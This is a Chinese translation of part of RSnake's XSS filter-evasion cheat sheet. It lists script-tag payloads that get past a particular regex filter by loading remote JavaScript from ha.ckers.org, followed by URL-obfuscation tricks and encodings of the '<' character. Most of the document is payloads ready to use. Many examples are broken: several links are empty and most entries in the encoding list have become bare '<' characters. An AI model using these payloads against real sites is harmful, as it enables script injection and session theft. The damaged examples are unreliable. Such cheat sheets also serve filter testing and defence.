<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js">
為了執行xss代碼在那些允許輸入"<SCRIPT>" 但不允許 "<script src..."靠正則拼配"/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i" (這個是重要的,因為我已經看到這個正則在實際環境中。)
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
另一個逃避相同正則 "/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i"的xss代碼
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
這是另一個xss例子去繞過相同的過濾器,關于"/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i"的正則過濾。我知道,我說過我將不會去痛痛快快的聊減災技術。但是這是我所看到的唯一例子在允許用戶輸入<SCRIPT>但是不允許通過src加在遠程腳本的過濾這個xss的可用方法。(當然,還有一些其他方法去處理它,如果它們允許<SCRIPT> )
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
最后一個繞過"/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i"正則匹配的例子,通過重音符。(再以無法工作在firfox)
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
這個xss例子押注域哪些正則并不去拼配一對引號,而是去發現任何引號后就立即結束參數字符串。
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
這xss仍然讓我擔心,因為他是幾乎沒有肯呢過去停止在沒有阻止活動內容的情況下。
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
這里假設 "http://www.google.com/" 這種在語法上是不被允許的。
IP代替域名
<A >XSS</A>
URL 編碼
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
雙字節編碼 (注意:有其他的雙字節編碼變種。請參考下面混淆后的ip為更多信息)
<A HREF="http://1113982867/">XSS</A>
十六進制編碼 The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit,因為十六進制數實在0-f之間,因此第三位開頭的0可以被省略掉。
<A >XSS</A>
八進制編碼 Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:
<A >XSS</A>
混合編碼 讓我們混合基本編碼并且插入一個tab和換行符。為什么瀏覽器允許這樣,我是不知道。但是它是可以工作當它們被包含在引號之間。
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
協議繞過 “//”代替“http:// ” 可以節省更多字符。這是非常有用的當輸入空間是有限的時候。兩個字符可能解決大問題。也是容易繞過像"(ht|f)tp(s)?://" 這樣的正則過濾。(感謝 Ozh 提出這部分)。你也可以改變//" 為 "\"。你需要保持斜杠在適當的地方。否則可能會被當作一個相對路徑的url。
<A >XSS</A>
Google "feeling lucky" I Firefox 使用 Google的"feeling lucky" 函數去重定向用戶輸入的任何關鍵字。因此你可以在可利用頁面使用任何關鍵字針對任何Firefox用戶。它是使用了"keyword:" 協議。你可以使用多個關鍵字像下面的例子:XSS+RSnake。它是無法使用在 Firefox as of 2.0。
<A HREF="http://google">XSS</A>
Google "feeling lucky" II 這是使用一個小技巧讓他工作在Firefox,因為只有它實現了 "feeling lucky" 函數。不像下一個例子,它是無法工作在 Opera ,由于 Opera認為它是一種老的釣魚攻擊。它是一個簡單的畸形url。如果你點擊彈出框的確定按鈕它將工作。但是由于這是一個錯誤對話框,我是說Opera是不支持它。它也不再被支持在 Firefox 2.0。
<A HREF="http:[email protected]">XSS</A>
Google "feeling lucky" III 它是通過畸形url來工作在Firefox 和 Opera瀏覽器。因為只有他們實現了 "feeling lucky" 函數。像上面的例子一樣,它們需要你的網站在谷歌搜索中排名第一。(例如google)
<A HREF="http://google:ha.ckers.org">XSS</A>
移除別名 結合上面的url。移除 "www." 將節省四個字符。
<A >XSS</A>
絕對 DNS用額外的點
<A >XSS</A>
JavaScript link location
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
針對內容替換的攻擊向量 假設 "http://www.google.com/" 會被替換為空。我確實使用了一個簡單的攻擊向量去針對特殊文字過濾依靠過濾器本身。這是一個例子去幫助創建向量。(IE: "java script:" 被替換為"java script:", 它是仍可以工作在 IE,使用安全模塊的 Netscape 8.1+ 和 Opera)
<A >XSS</A>
再付 "<" 在html或是javascript中所有可能的編碼形式。它們絕大多數是無法正常渲染的,但是可以在上文中某些情景下得到渲染。
<
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
下面地址中包含了在xss有用的各種基本轉換器。 http://ha.ckers.org/xsscalc.html
Robert "RSnake" Hansen
老道